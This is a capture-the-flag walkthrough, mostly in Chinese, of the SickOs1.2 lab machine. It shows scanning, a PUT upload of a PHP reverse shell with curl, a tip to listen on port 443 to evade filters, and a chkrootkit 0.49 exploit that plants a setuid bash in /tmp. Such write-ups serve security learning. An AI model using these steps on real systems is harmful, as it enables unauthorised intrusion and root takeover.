Post

SickOs1.2 Walkthrough

Reconnaissance

Host Discovery

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/SickOs]
└─$ nmap 192.168.2.1/24  
Nmap scan report for ubuntu (192.168.2.87)
Host is up (0.0016s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Port Scanning

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/SickOs]
└─$ nmap -p- -A -sC -sV 192.168.2.87 | tee prot_scanning
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-27 00:19 EDT
Nmap scan report for 192.168.2.87
Host is up (0.0017s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 66:8c:c0:f2:85:7c:6c:c0:f6:ab:7d:48:04:81:c2:d4 (DSA)
|   2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA)
|_  256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA)
80/tcp open  http    lighttpd 1.4.28
|_http-server-header: lighttpd/1.4.28
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 126.54 seconds

Enumeration

SSH Enumeration

hydra进行一些弱口令的爆破,没有结果。

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/SickOs]
└─$ hydra -L ssh_username -e nsr ssh://192.168.2.87 -t 4 
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-27 00:23:44
[DATA] max 4 tasks per 1 server, overall 4 tasks, 42 login tries (l:14/p:3), ~11 tries per task
[DATA] attacking ssh://192.168.2.87:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-27 00:24:00

HTTP Enumeration

访问网页,出现一张图片,意思为如果计算机病毒真的是由反病毒软件公司为了赚钱而制造的呢

查看源代码,没有任何隐藏信息

使用dirb对网站目录进行扫描,只发现一个/test目录

使用nikto对网页进行探测,依旧是一个/test目录

访问/test目录发现是由lighttpds 1.4.28搭建

通过查询发现此版本存在信息泄露

经过多次尝试,并没有利用到该漏洞点,只能换个方向。

curl -vX OPTIONS 192.168.2.87/ curl 发送一个 HTTP OPTIONS 请求到指定的服务器,并显示详细的交互过程和响应信息

这里存在一个PUT,我们可以使用利用PUT/test路径进行上传

Exportation

通过以下命令上传一个php-reverse-shell.php

1
$ curl --upload-file php-reverse-shell.php -v --url http://192.168.2.87/test/php-reverse-shell.php -0 --http1.0

--upload-file php-reverse-shell.php: 指定要上传的文件为 php-reverse-shell.php

-v--verbose: curl 在运行时显示详细的操作信息

--url http://192.168.2.184/php-reverse-shell.php: 指定上传文件后,要发送 HTTP 请求的目标 URL。

-0--http1.0: 强制使用 HTTP/1.0 协议发送请求。

接着我们使用netcat进行监听

NOTE:我大部分情况直接使用php-reverse-shell.php 默认端口 1234 来设置侦听端口,这次失败了,之后我改用端口 443,因为它是一个已知的 https 端口,可以绕过任何过滤器

1
2
3
4
# 此命令利用 Python 的 `pty` 模块中的 `spawn` 函数直接启动了一个正常交互式的 Bash shell
$ python -c 'import pty;pty.spawn("/bin/bash")'
# 此命令查询一下系统的信息
$ whoami ; id ; uname -a ; cat /proc/version ; lsb_release -a

Privilege Escalation

查询每日定时任务的脚本,发现其存在一个chkrootkit版本为0.49

使用searchsploit进行查询发现存在提权漏洞

根据33899.txt中的内容,我们需要在/tmp目录下创建一个update文件然后将恶意脚本放在update中然后等待执行chkrootkit,就可拿到root权限

1
2
3
4
#该命令将系统的 /bin/bash 复制到 /tmp/rootbash,并赋予 /tmp/rootbash 文件特殊权限写入/tmp/update
echo "cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash" > /tmp/update
#该命令是将 /tmp/update 文件的权限设置为最大权限,即所有者、同组用户和其他用户均可以读取、写入和执行该文件。
chmod 777 /tmp/update

我们稍等片刻,查看文件,发现出现一个rootbash文件,运行它,拿到root权限

最后在/root主目录下发现[flag].txt

This post is licensed under CC BY 4.0 by the author.

Trending Tags